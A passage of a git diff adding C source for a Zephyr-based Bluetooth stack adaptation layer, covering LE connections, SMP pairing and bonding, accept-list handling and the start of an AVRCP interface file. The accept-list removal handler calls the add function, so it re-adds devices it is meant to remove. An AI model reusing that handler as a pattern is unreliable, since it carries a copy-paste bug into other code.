&g_le_conn_info[i]; + } + } + + BT_LOGE("%s, no free entry", __func__); + return NULL; +} + +bt_status_t le_conn_set_role(bt_address_t* addr, uint8_t flag) +{ + le_conn_info_t* info; + + if (bt_addr_is_empty(addr) || !flag) { + BT_LOGE("%s, invalid addr or flag", __func__); + return BT_STATUS_FAIL; + } + + info = le_conn_find(addr); + if (info) { + if (info->role & flag) { + BT_LOGD("conn flag already set, skip"); + return BT_STATUS_DONE; + } + + info->role |= flag; + + if (info->conn) { + if ((info->role & GATT_ROLE_CLIENT) && flag == GATT_ROLE_SERVER) { +#ifdef CONFIG_BLUETOOTH_GATT_SERVER + bt_sal_gatt_server_connection_state_changed_callback(PRIMARY_ADAPTER, &info->addr, PROFILE_STATE_CONNECTED); +#endif + } else if ((info->role & GATT_ROLE_SERVER) && flag == GATT_ROLE_CLIENT) { +#ifdef CONFIG_BLUETOOTH_GATT_CLIENT + bt_sal_gatt_client_connection_state_changed_callback(PRIMARY_ADAPTER, &info->addr, PROFILE_STATE_CONNECTED); +#endif + } + return BT_STATUS_DONE; + } + + return BT_STATUS_SUCCESS; + } + + info = le_conn_add(addr); + if (info) { + info->role = flag; + return BT_STATUS_SUCCESS; + } + + return BT_STATUS_FAIL; +} + +bt_status_t le_conn_remove(bt_address_t* addr) +{ + le_conn_info_t* info = le_conn_find(addr); + if (info) { + memset(info, 0, sizeof(*info)); + return BT_STATUS_SUCCESS; + } + + BT_LOGD("%s, addr not found", __func__); + return BT_STATUS_FAIL; +} + +bt_status_t bt_sal_le_init(const bt_vhal_interface* vhal) +{ +#ifndef CONFIG_BLUETOOTH_BREDR_SUPPORT + z_sys_init(); +#endif + + return BT_STATUS_SUCCESS; +} + +void bt_sal_le_cleanup(void) +{ +} + +bt_status_t bt_sal_le_enable(bt_controller_id_t id) +{ + if (bt_is_ready()) { + adapter_on_adapter_state_changed(BLE_STACK_STATE_ON); + return BT_STATUS_SUCCESS; + } + + SAL_CHECK_RET(bt_enable(zblue_on_ready_cb), 0); + + return BT_STATUS_SUCCESS; +} + +static void STACK_CALL(le_disable)(void* args) +{ + zblue_unregister_callback(); + bt_disable(); +} + +bt_status_t bt_sal_le_disable(bt_controller_id_t id) +{ + sal_adapter_req_t* req; + + if (!bt_is_ready()) { + adapter_on_adapter_state_changed(BLE_STACK_STATE_OFF); + return BT_STATUS_SUCCESS; + } + + req = sal_adapter_req(id, NULL, STACK_CALL(le_disable)); + if (!req) { + return BT_STATUS_NOMEM; + } + sal_send_req(req); + adapter_on_adapter_state_changed(BLE_STACK_STATE_OFF); + + return BT_STATUS_SUCCESS; +} + +#ifdef CONFIG_BT_SMP +static void zblue_on_auth_passkey_display(struct bt_conn* conn, unsigned int passkey) +{ + bt_address_t addr; + + BT_LOGD("%s", __func__); + if (get_le_addr_from_conn(conn, &addr) != BT_STATUS_SUCCESS) { + BT_LOGE("%s, get_le_addr_from_conn failed", __func__); + return; + } + + adapter_on_ssp_request(&addr, BT_TRANSPORT_BLE, 0, PAIR_TYPE_PASSKEY_NOTIFICATION, passkey, NULL); +} + +static void zblue_on_auth_passkey_confirm(struct bt_conn* conn, unsigned int passkey) +{ + bt_address_t addr; + + BT_LOGD("%s", __func__); + if (get_le_addr_from_conn(conn, &addr) != BT_STATUS_SUCCESS) { + BT_LOGE("%s, get_le_addr_from_conn failed", __func__); + return; + } + + adapter_on_ssp_request(&addr, BT_TRANSPORT_BLE, 0, PAIR_TYPE_PASSKEY_CONFIRMATION, passkey, NULL); +} + +static void zblue_on_auth_passkey_entry(struct bt_conn* conn) +{ + bt_address_t addr; + + BT_LOGD("%s", __func__); + if (get_le_addr_from_conn(conn, &addr) != BT_STATUS_SUCCESS) { + BT_LOGE("%s, get_le_addr_from_conn failed", __func__); + return; + } + + adapter_on_ssp_request(&addr, BT_TRANSPORT_BLE, 0, PAIR_TYPE_PASSKEY_ENTRY, 0, NULL); +} + +static void zblue_on_auth_cancel(struct bt_conn* conn) +{ + BT_LOGD("%s, conn: %p", __func__, conn); +} + +static void zblue_on_auth_pairing_confirm(struct bt_conn* conn) +{ + bt_address_t addr; + + BT_LOGD("%s", __func__); + if (get_le_addr_from_conn(conn, &addr) != BT_STATUS_SUCCESS) { + BT_LOGE("%s, get_le_addr_from_conn failed", __func__); + return; + } + + adapter_on_ssp_request(&addr, BT_TRANSPORT_BLE, 0, PAIR_TYPE_CONSENT, 0, NULL); +} + +#ifdef CONFIG_BT_SMP_APP_PAIRING_ACCEPT +static enum bt_security_err zblue_on_pairing_accept(struct bt_conn* conn, const struct bt_conn_pairing_feat* const feat) +{ + BT_LOGD("Remote pairing features: IO: 0x%02x, OOB: %d, AUTH: 0x%02x, Key: %d, " + "Init Kdist: 0x%02x, Resp Kdist: 0x%02x", + feat->io_capability, feat->oob_data_flag, + feat->auth_req, feat->max_enc_key_size, + feat->init_key_dist, feat->resp_key_dist); + + if (!bt_addr_le_is_bonded(BT_ID_DEFAULT, &conn->le.dst)) { + return BT_SECURITY_ERR_SUCCESS; + } + + BT_LOGD("le bond lost"); + return BT_SECURITY_ERR_SUCCESS; +} +#endif /* CONFIG_BT_SMP_APP_PAIRING_ACCEPT */ +#endif /* CONFIG_BT_SMP */ + +bt_status_t bt_sal_le_set_io_capability(bt_controller_id_t id, bt_io_capability_t cap) +{ +#ifdef CONFIG_BT_SMP + BT_LOGD("Set IO capability: %d", cap); + + memset(&g_conn_auth_cbs, 0, sizeof(g_conn_auth_cbs)); + bt_conn_le_auth_cb_register(NULL); + + switch (cap) { + case BT_IO_CAPABILITY_DISPLAYONLY: + g_conn_auth_cbs.passkey_display = zblue_on_auth_passkey_display; + g_conn_auth_cbs.cancel = zblue_on_auth_cancel; + break; + case BT_IO_CAPABILITY_DISPLAYYESNO: + g_conn_auth_cbs.passkey_display = zblue_on_auth_passkey_display; + g_conn_auth_cbs.passkey_confirm = zblue_on_auth_passkey_confirm; + g_conn_auth_cbs.cancel = zblue_on_auth_cancel; + break; + case BT_IO_CAPABILITY_KEYBOARDONLY: + g_conn_auth_cbs.passkey_entry = zblue_on_auth_passkey_entry; + g_conn_auth_cbs.cancel = zblue_on_auth_cancel; + break; + case BT_IO_CAPABILITY_KEYBOARDDISPLAY: + g_conn_auth_cbs.passkey_display = zblue_on_auth_passkey_display; + g_conn_auth_cbs.passkey_entry = zblue_on_auth_passkey_entry; + g_conn_auth_cbs.passkey_confirm = zblue_on_auth_passkey_confirm; + g_conn_auth_cbs.cancel = zblue_on_auth_cancel; + break; + case BT_IO_CAPABILITY_NOINPUTNOOUTPUT: + g_conn_auth_cbs.cancel = zblue_on_auth_cancel; + break; + default: + BT_LOGE("Invalid IO capability: %d", cap); + return BT_STATUS_FAIL; + } + +#ifdef CONFIG_BT_SMP_APP_PAIRING_ACCEPT + g_conn_auth_cbs.zblue_on_pairing_accept = zblue_on_pairing_accept; +#endif + g_conn_auth_cbs.pairing_confirm = zblue_on_auth_pairing_confirm; + + if (bt_conn_le_auth_cb_register(&g_conn_auth_cbs)) { + BT_LOGE("Failed to register conn auth callbacks"); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +#else + SAL_NOT_SUPPORT; +#endif +} + +#ifdef CONFIG_BT_SMP +static void get_bonded_devices(const struct bt_bond_info* info, void* user_data) +{ + device_context_t* ctx = user_data; + + memcpy(&ctx->props->addr, &info->addr.a, sizeof(ctx->props->addr)); + ctx->props->addr_type = info->addr.type; + ctx->props->device_type = BT_DEVICE_DEVTYPE_BLE; + (*(ctx->cnt))++; + ctx->props++; +} +#endif + +bt_status_t bt_sal_le_get_bonded_devices(bt_controller_id_t id, remote_device_le_properties_t* props, uint16_t* prop_cnt) +{ +#ifdef CONFIG_BT_SMP + device_context_t ctx = { 0 }; + + ctx.props = props; + ctx.cnt = prop_cnt; + + bt_foreach_bond(BT_ID_DEFAULT, get_bonded_devices, &ctx); + *prop_cnt = *ctx.cnt; + + return BT_STATUS_SUCCESS; +#else + SAL_NOT_SUPPORT; +#endif +} + +bt_status_t bt_sal_le_set_static_identity(bt_controller_id_t id, bt_address_t* addr) +{ + /* stack handle this case: */ + SAL_NOT_SUPPORT; +} + +bt_status_t bt_sal_le_set_public_identity(bt_controller_id_t id, bt_address_t* addr) +{ + /* stack handle this case: */ + SAL_NOT_SUPPORT; +} + +bt_status_t bt_sal_le_set_address(bt_controller_id_t id, bt_address_t* addr) +{ + /* stack handle this case: */ + SAL_NOT_SUPPORT; +} + +bt_status_t bt_sal_le_get_address(bt_controller_id_t id, bt_address_t* addr) +{ + UNUSED(id); + bt_addr_le_t got = { 0 }; + size_t count = 1; + + SAL_CHECK_PARAM(addr); + + bt_id_get(&got, &count); + bt_addr_set(addr, (uint8_t*)&got.a); + + SAL_ASSERT(got.type == BT_ADDR_LE_PUBLIC); + return BT_STATUS_SUCCESS; +} + +static void STACK_CALL(le_set_bond)(void* args) +{ + sal_adapter_req_t* req = args; + bt_addr_le_t le_addr; + + zblue_convert_le_addr(&req->addr, req->addr_type, &le_addr); + +#ifdef CONFIG_SETTINGS_ZBLUE + bt_settings_load(req->id, req->adpt.le_set_bond.id, req->adpt.le_set_bond.key, &le_addr); +#endif +} + +bt_status_t bt_sal_le_set_bonded_devices(bt_controller_id_t id, remote_device_le_properties_t* props, uint16_t prop_cnt) +{ + sal_adapter_req_t* req; + bt_status_t status; + + for (int i = 0; i < prop_cnt; i++) { + req = sal_adapter_req(id, (bt_address_t*)props->smp_key, STACK_CALL(le_set_bond)); + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_NOMEM; + } + + req->addr_type = props->smp_key[6]; + req->adpt.le_set_bond.id = BT_ID_DEFAULT; + req->adpt.le_set_bond.key = "keys"; + + status = sal_send_req(req); + if (status) { + BT_LOGE("%s send req error, ret: %d", __func__, status); + return status; + } + + props++; + } + + return BT_STATUS_SUCCESS; +} + +static void STACK_CALL(security_connect)(void* args) +{ + sal_adapter_req_t* req = args; + struct bt_conn* conn; + int err; + + conn = get_le_conn_from_addr(&req->addr); + if (!conn) { + BT_LOGE("%s, conn null", __func__); + return; + } + + err = bt_conn_set_security(conn, g_security_level); + if (err) { + BT_LOGE("%s, start le encryption fail err:%d", __func__, err); + return; + } +} + +static void STACK_CALL(conn_connect)(void* args) +{ + sal_adapter_req_t* req = args; + bt_addr_le_t address = { 0 }; + struct bt_conn* conn = NULL; + int err; + + address.type = req->addr_type; + memcpy(&address.a, &req->addr, sizeof(address.a)); + + err = bt_conn_le_create(&address, &req->adpt.conn_param.create, &req->adpt.conn_param.conn, &conn); + if (err) { + BT_LOGE("%s, failed to create connection (%d)", __func__, err); + return; + } +} + +bt_status_t bt_sal_le_connect(bt_controller_id_t id, bt_address_t* addr, ble_addr_type_t addr_type, ble_connect_params_t* params) +{ + sal_adapter_req_t* req; + uint8_t type; + + if (get_le_conn_from_addr(addr)) { + req = sal_adapter_req(id, addr, STACK_CALL(security_connect)); + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_NOMEM; + } + + return sal_send_req(req); + } + + req = sal_adapter_req(id, addr, STACK_CALL(conn_connect)); + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_NOMEM; + } + + req->adpt.conn_param.conn.interval_min = params->connection_interval_min; + req->adpt.conn_param.conn.interval_max = params->connection_interval_max; + req->adpt.conn_param.conn.latency = params->connection_latency; + req->adpt.conn_param.conn.timeout = params->supervision_timeout; + + req->adpt.conn_param.create.options = BT_CONN_LE_OPT_NONE; + req->adpt.conn_param.create.interval = params->scan_interval; + req->adpt.conn_param.create.window = params->scan_window; + + switch (addr_type) { + case BT_LE_ADDR_TYPE_PUBLIC: + type = BT_ADDR_LE_PUBLIC; + break; + case BT_LE_ADDR_TYPE_RANDOM: + type = BT_ADDR_LE_RANDOM; + break; + case BT_LE_ADDR_TYPE_PUBLIC_ID: + type = BT_ADDR_LE_PUBLIC_ID; + break; + case BT_LE_ADDR_TYPE_RANDOM_ID: + type = BT_ADDR_LE_RANDOM_ID; + break; + case BT_LE_ADDR_TYPE_ANONYMOUS: + type = BT_ADDR_LE_ANONYMOUS; + break; + case BT_LE_ADDR_TYPE_UNKNOWN: + type = BT_ADDR_LE_RANDOM; + break; + default: + BT_LOGE("%s, invalid type:%d", __func__, addr_type); + assert(0); + } + + BT_LOGD("%s, addr_type:%d, type:%d", __func__, addr_type, type); + req->addr_type = type; + + return sal_send_req(req); +} + +static void STACK_CALL(conn_disconnect)(void* args) +{ + sal_adapter_req_t* req = args; + struct bt_conn* conn; + int err; + + conn = get_le_conn_from_addr(&req->addr); + if (!conn) { + BT_LOGE("%s, conn null", __func__); + return; + } + + err = bt_conn_disconnect(conn, BT_HCI_ERR_REMOTE_USER_TERM_CONN); + if (err) { + BT_LOGE("%s, disconnect fail err:%d", __func__, err); + return; + } +} + +bt_status_t bt_sal_le_disconnect(bt_controller_id_t id, bt_address_t* addr) +{ + sal_adapter_req_t* req; + + req = sal_adapter_req(id, addr, STACK_CALL(conn_disconnect)); + if (!req) { + return BT_STATUS_NOMEM; + } + + return sal_send_req(req); +} + +static void STACK_CALL(set_bondable)(void* args) +{ + sal_adapter_req_t* req = args; + + bt_set_bondable_mc(req->id, req->adpt.bondable); +} + +bt_status_t bt_sal_le_set_bondable(bt_controller_id_t id, bool enable) +{ + sal_adapter_req_t* req; + + req = sal_adapter_req(id, NULL, STACK_CALL(set_bondable)); + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_NOMEM; + } + + req->adpt.bondable = enable; + + return sal_send_req(req); +} + +#ifdef CONFIG_BT_SMP +static void STACK_CALL(create_bond)(void* args) +{ + sal_adapter_req_t* req = args; + struct bt_conn* conn; + int err; + + conn = get_le_conn_from_addr(&req->addr); + if (!conn) { + BT_LOGE("%s, conn null", __func__); + return; + } + + err = bt_conn_set_security(conn, g_security_level); + if (err) { + BT_LOGE("%s, bond fail err:%d", __func__, err); + return; + } +} +#endif + +bt_status_t bt_sal_le_create_bond(bt_controller_id_t id, bt_address_t* addr, ble_addr_type_t type) +{ +#ifdef CONFIG_BT_SMP + sal_adapter_req_t* req; + + req = sal_adapter_req(id, addr, STACK_CALL(create_bond)); + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_NOMEM; + } + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +#ifdef CONFIG_BT_SMP +static void STACK_CALL(set_security_level)(void* args) +{ + sal_adapter_req_t* req = args; + + g_security_level = req->adpt.security_level; +} +#endif + +bt_status_t bt_sal_le_set_security_level(bt_controller_id_t id, uint8_t level) +{ +#ifdef CONFIG_BT_SMP + sal_adapter_req_t* req; + + req = sal_adapter_req(id, NULL, STACK_CALL(set_security_level)); + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_NOMEM; + } + + req->adpt.security_level = level; + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +#ifdef CONFIG_BT_SMP +static void zblue_convert_le_addr(bt_address_t* addr, ble_addr_type_t type, bt_addr_le_t* le_addr) +{ + le_addr->type = zblue_convert_addr_type(type); + memcpy(le_addr->a.val, addr, sizeof(addr->addr)); +} + +static void STACK_CALL(remove_bond)(void* args) +{ + sal_adapter_req_t* req = args; + struct bt_keys* keys; + bt_addr_le_t le_addr; + ble_addr_type_t type; + int err; + + type = adapter_get_le_remote_address_type(&req->addr); + if (type == BT_LE_ADDR_TYPE_UNKNOWN) { + BT_LOGE("%s, unknown addr type", __func__); + return; + } + + zblue_convert_le_addr(&req->addr, type, &le_addr); + keys = bt_keys_find_irk(BT_ID_DEFAULT, &le_addr); + if (keys) { + memcpy(&le_addr, &keys->addr, sizeof(bt_addr_le_t)); + err = bt_unpair(BT_ID_DEFAULT, &le_addr); + } else { + /* if peer device not support BT_PRIVACY, will not exchange IRK. */ + BT_LOGD("%s, not found irk", __func__); + err = bt_unpair(BT_ID_DEFAULT, &le_addr); + } + + if (err < 0) { + BT_LOGE("%s, unpair fail err:%d", __func__, err); + return; + } +} +#endif + +bt_status_t bt_sal_le_remove_bond(bt_controller_id_t id, bt_address_t* addr) +{ +#ifdef CONFIG_BT_SMP + sal_adapter_req_t* req; + + req = sal_adapter_req(id, addr, STACK_CALL(remove_bond)); + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_NOMEM; + } + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_le_smp_reply(bt_controller_id_t id, bt_address_t* addr, bool accept, bt_pair_type_t type, uint32_t passkey) +{ +#ifdef CONFIG_BT_SMP + struct bt_conn* conn; + + conn = get_le_conn_from_addr(addr); + if (!conn) { + BT_LOGE("%s, conn null", __func__); + return BT_STATUS_FAIL; + } + + if (!accept) { + BT_LOGD("%s, reject", __func__); + SAL_CHECK(bt_conn_auth_cancel(conn), 0); + return BT_STATUS_SUCCESS; + } + + switch (type) { + case PAIR_TYPE_PASSKEY_CONFIRMATION: + case PAIR_TYPE_CONSENT: + SAL_CHECK(bt_conn_auth_pairing_confirm(conn), 0); + break; + case PAIR_TYPE_PASSKEY_ENTRY: + SAL_CHECK(bt_conn_auth_passkey_entry(conn, passkey), 0); + break; + default: + BT_LOGE("%s, unsupported type:%d", __func__, type); + return BT_STATUS_FAIL; + } + + BT_LOGD("%s, accept", __func__); + return BT_STATUS_SUCCESS; +#else + SAL_NOT_SUPPORT; +#endif +} + +bt_status_t bt_sal_le_set_legacy_tk(bt_controller_id_t id, bt_address_t* addr, bt_128key_t tk_val) +{ + /* todo: */ + SAL_NOT_SUPPORT; +} + +bt_status_t bt_sal_le_set_remote_oob_data(bt_controller_id_t id, bt_address_t* addr, bt_128key_t c_val, bt_128key_t r_val) +{ + /* todo: */ + SAL_NOT_SUPPORT; +} + +bt_status_t bt_sal_le_get_local_oob_data(bt_controller_id_t id, bt_address_t* addr) +{ + /* todo: */ + SAL_NOT_SUPPORT; +} + +#if defined(CONFIG_BT_FILTER_ACCEPT_LIST) +static void STACK_CALL(add_white_list)(void* args) +{ + sal_adapter_req_t* req = args; + bt_addr_le_t addr; + int err; + + addr.type = req->addr_type; + memcpy(&addr.a, &req->addr, sizeof(addr.a)); + + err = bt_le_filter_accept_list_add(&addr); + if (err) { + BT_LOGE("%s, add white list fail, err:%d", __func__, err); + adapter_on_whitelist_update(&req->addr, true, BT_STATUS_FAIL); + return; + } + + adapter_on_whitelist_update(&req->addr, true, BT_STATUS_SUCCESS); +} +#endif + +bt_status_t bt_sal_le_add_white_list(bt_controller_id_t id, bt_address_t* address, ble_addr_type_t addr_type) +{ +#if defined(CONFIG_BT_FILTER_ACCEPT_LIST) + sal_adapter_req_t* req; + + req = sal_adapter_req(id, address, STACK_CALL(add_white_list)); + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_NOMEM; + } + + req->addr_type = addr_type; + return sal_send_req(req); +#else + SAL_NOT_SUPPORT; +#endif +} + +#if defined(CONFIG_BT_FILTER_ACCEPT_LIST) +static void STACK_CALL(remove_white_list)(void* args) +{ + sal_adapter_req_t* req = args; + bt_addr_le_t addr; + int err; + + addr.type = req->addr_type; + memcpy(&addr.a, &req->addr, sizeof(addr.a)); + + err = bt_le_filter_accept_list_add(&addr); + if (err) { + BT_LOGE("%s, remove white list fail, err:%d", __func__, err); + adapter_on_whitelist_update(&req->addr, false, BT_STATUS_FAIL); + return; + } + + adapter_on_whitelist_update(&req->addr, false, BT_STATUS_SUCCESS); +} +#endif + +bt_status_t bt_sal_le_remove_white_list(bt_controller_id_t id, bt_address_t* address, ble_addr_type_t addr_type) +{ +#if defined(CONFIG_BT_FILTER_ACCEPT_LIST) + sal_adapter_req_t* req; + + req = sal_adapter_req(id, address, STACK_CALL(remove_white_list)); + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_NOMEM; + } + + req->addr_type = addr_type; + return sal_send_req(req); +#else + SAL_NOT_SUPPORT; +#endif +} + +#if defined(CONFIG_BT_USER_PHY_UPDATE) +static void STACK_CALL(set_phy)(void* args) +{ + sal_adapter_req_t* req = args; + int err; + struct bt_conn* conn; + + conn = get_le_conn_from_addr(&req->addr); + if (!conn) { + BT_LOGE("%s, conn null", __func__); + return; + } + + err = bt_conn_le_phy_update(conn, &req->adpt.phy_param); + if (err) { + BT_LOGE("%s, phy update fail, err:%d", __func__, err); + return; + } +} +#endif + +bt_status_t bt_sal_le_set_phy(bt_controller_id_t id, bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ +#if defined(CONFIG_BT_USER_PHY_UPDATE) + sal_adapter_req_t* req; + + req = sal_adapter_req(id, addr, STACK_CALL(set_phy)); + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_NOMEM; + } + + req->adpt.phy_param.pref_tx_phy = le_phy_convert_from_service(tx_phy); + req->adpt.phy_param.pref_rx_phy = le_phy_convert_from_service(rx_phy); + req->adpt.phy_param.options = BT_CONN_LE_PHY_OPT_NONE; + + return sal_send_req(req); +#else + SAL_NOT_SUPPORT; +#endif /* CONFIG_BT_USER_PHY_UPDATE */ +} + +bt_status_t bt_sal_le_set_appearance(bt_controller_id_t id, uint16_t appearance) +{ +#ifdef CONFIG_BT_DEVICE_APPEARANCE_GATT_WRITABLE + SAL_CHECK_RET(bt_set_appearance(appearance), 0); + return BT_STATUS_SUCCESS; +#else + SAL_NOT_SUPPORT; +#endif /* CONFIG_BT_DEVICE_APPEARANCE_GATT_WRITABLE */ +} + +uint16_t bt_sal_le_get_appearance(bt_controller_id_t id) +{ +#ifdef CONFIG_BT_DEVICE_APPEARANCE_GATT_WRITABLE + return bt_get_appearance(); +#else + SAL_NOT_SUPPORT; +#endif /* CONFIG_BT_DEVICE_APPEARANCE_GATT_WRITABLE */ +} + +bt_status_t bt_sal_le_enable_key_derivation(bt_controller_id_t id, bool brkey_to_lekey, bool lekey_to_brkey) +{ + /* todo: */ + SAL_NOT_SUPPORT; +} + +#endif /* CONFIG_BLUETOOTH_BLE_SUPPORT */ diff --git a/service/stacks/zephyr/sal_avrcp_interface.c b/service/stacks/zephyr/sal_avrcp_interface.c new file mode 100644 index 0000000000000000000000000000000000000000..7b24f181c4c73ee62dabd65c6bc620b2fa78b52f --- /dev/null +++ b/service/stacks/zephyr/sal_avrcp_interface.c @@ -0,0 +1,2036 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "sal_avrcp" + +#include <stdbool.h> +#include <stdint.h> +#include <stdlib.h> + +#include "bluetooth.h" +#include "bt_addr.h" +#include "bt_avrcp.h" +#include "sal_a2dp_sink_interface.h" +#include "sal_a2dp_source_interface.h" +#include "sal_avrcp_control_interface.h" +#include "sal_avrcp_target_interface.h" +#include "sal_connection_manager.h" +#include "sal_interface.h" +#include "sal_zblue.h" + +#include "bt_uuid.h" +#undef BT_UUID_DECLARE_16 +#undef BT_UUID_DECLARE_32 +#undef BT_UUID_DECLARE_128 +#include <zephyr/bluetooth/classic/a2dp.h> +#include <zephyr/bluetooth/classic/avrcp.h> +#include <zephyr/bluetooth/classic/sdp.h> +#include <zephyr/sys/byteorder.h> + +#include "bt_utils.h" +#include "utils/log.h" + +#if defined(CONFIG_BLUETOOTH_AVRCP_CONTROL) || defined(CONFIG_BLUETOOTH_AVRCP_TARGET) +#define AVCTP_VER_1_4 (0x0104u) +#define AVRCP_VER_1_6 (0x0106u) + +#define AVRCP_CAT_1 BIT(0) /* Player/Recorder */ +#define AVRCP_CAT_2 BIT(1) /* Monitor/Amplifier */ +#define AVRCP_CAT_3 BIT(2) /* Tuner */ +#define AVRCP_CAT_4 BIT(3) /* Menu */ + +typedef enum { + SAL_AVRCP_GET_PLAY_STATUS, + SAL_AVRCP_REG_NTF_PLAYBACK_STATUS_CHANGED, + SAL_AVRCP_REG_NTF_TRACK_CHANGED, + SAL_AVRCP_REG_NTF_PLAYBACK_POS_CHANGED, + SAL_AVRCP_REG_NTF_VOLUME_CHANGED, +} zblue_tg_msg_id; + +typedef struct { + uint8_t tid; + zblue_tg_msg_id msg_id; + uint8_t next_rsp; +} zblue_tg_tid_t; + +typedef struct { + uint8_t ct_tid; + bt_list_t* tg_tid; + bool is_cleanup; // cleanup flag,if true, free bt_a2dp_conn + bt_address_t bd_addr; + struct bt_conn* conn; + struct bt_avrcp_tg* tg; + struct bt_avrcp_ct* ct; +} zblue_avrcp_info_t; + +extern bt_status_t bt_sal_a2dp_get_role(struct bt_conn* conn, uint8_t* a2dp_role); + +#if defined(CONFIG_BLUETOOTH_AVRCP_CONTROL) || defined(CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME) +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL +static void zblue_on_ct_connected(struct bt_conn* conn, struct bt_avrcp_ct* ct); +static void zblue_on_ct_disconnected(struct bt_avrcp_ct* ct); +static void zblue_on_ct_get_caps_rsp(struct bt_avrcp_ct* ct, uint8_t tid, uint8_t status, struct net_buf* buf); +static void zblue_on_ct_unit_info_rsp(struct bt_avrcp_ct* ct, uint8_t tid, struct bt_avrcp_unit_info_rsp* rsp); +static void zblue_on_ct_subunit_info_rsp(struct bt_avrcp_ct* ct, uint8_t tid, struct bt_avrcp_subunit_info_rsp* rsp); +static void zblue_on_ct_passthrough_rsp(struct bt_avrcp_ct* ct, uint8_t tid, bt_avrcp_rsp_t result, const struct bt_avrcp_passthrough_rsp* rsp); +static void zblue_on_ct_notification_rsp(struct bt_avrcp_ct* ct, uint8_t tid, uint8_t status, uint8_t event_id, struct bt_avrcp_event_data* data); +static void zblue_on_ct_get_element_attrs_rsp(struct bt_avrcp_ct* ct, uint8_t tid, uint8_t status, struct net_buf* buf); +static void zblue_on_ct_get_play_status_rsp(struct bt_avrcp_ct* ct, uint8_t tid, uint8_t status, struct net_buf* buf); +static bt_status_t avrcp_control_disconnect(bt_controller_id_t id, bt_address_t* bd_addr, void* user_data); +#endif + +#ifdef CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME +static void zblue_on_ct_set_absolute_volume_rsp(struct bt_avrcp_ct* ct, uint8_t tid, uint8_t status, uint8_t absolute_volume); +#endif + +static struct bt_avrcp_ct_cb avrcp_ct_cbks = { +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + .connected = zblue_on_ct_connected, + .disconnected = zblue_on_ct_disconnected, + .get_caps = zblue_on_ct_get_caps_rsp, + .unit_info_rsp = zblue_on_ct_unit_info_rsp, + .subunit_info_rsp = zblue_on_ct_subunit_info_rsp, + .passthrough_rsp = zblue_on_ct_passthrough_rsp, + .notification = zblue_on_ct_notification_rsp, + .get_element_attrs = zblue_on_ct_get_element_attrs_rsp, + .get_play_status = zblue_on_ct_get_play_status_rsp, +#endif +#ifdef CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME + .set_absolute_volume = zblue_on_ct_set_absolute_volume_rsp, +#endif +}; +#endif /* CONFIG_BLUETOOTH_AVRCP_CONTROL || CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME */ + +#if defined(CONFIG_BLUETOOTH_AVRCP_TARGET) || defined(CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME) +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET +static void zblue_on_tg_unit_info_req(struct bt_avrcp_tg* tg, uint8_t tid); +static void zblue_on_tg_subunit_info_req(struct bt_avrcp_tg* tg, uint8_t tid); +static void zblue_on_tg_passthrough_req(struct bt_avrcp_tg* tg, uint8_t tid, struct net_buf* buf); +static void zblue_on_tg_get_play_status_req(struct bt_avrcp_tg* tg, uint8_t tid); +#endif + +static void zblue_on_tg_connected(struct bt_conn* conn, struct bt_avrcp_tg* tg); +static void zblue_on_tg_disconnected(struct bt_avrcp_tg* tg); +static void zblue_on_tg_get_caps_req(struct bt_avrcp_tg* tg, uint8_t tid, uint8_t cap_id); +static void zblue_on_tg_register_notification_req(struct bt_avrcp_tg* tg, uint8_t tid, uint8_t event_id, uint32_t interval); + +#ifdef CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME +static void zblue_on_tg_set_absolute_volume_req(struct bt_avrcp_tg* tg, uint8_t tid, uint8_t absolute_volume); +#endif + +static struct bt_avrcp_tg_cb avrcp_tg_cbks = { +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET + .unit_info_req = zblue_on_tg_unit_info_req, + .subunit_info_req = zblue_on_tg_subunit_info_req, + .passthrough_req = zblue_on_tg_passthrough_req, + .get_play_status = zblue_on_tg_get_play_status_req, +#endif + .connected = zblue_on_tg_connected, + .disconnected = zblue_on_tg_disconnected, + .get_caps = zblue_on_tg_get_caps_req, + .register_notification = zblue_on_tg_register_notification_req, +#ifdef CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME + .set_absolute_volume = zblue_on_tg_set_absolute_volume_req, +#endif +}; +#endif /* CONFIG_BLUETOOTH_AVRCP_TARGET || CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME */ + +#ifdef AVRCP_SDP_BY_APP +#if defined(CONFIG_BLUETOOTH_AVRCP_CONTROL) || defined(CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME) +static struct bt_sdp_attribute avrcp_ct_attrs[] = { + BT_SDP_NEW_SERVICE, + 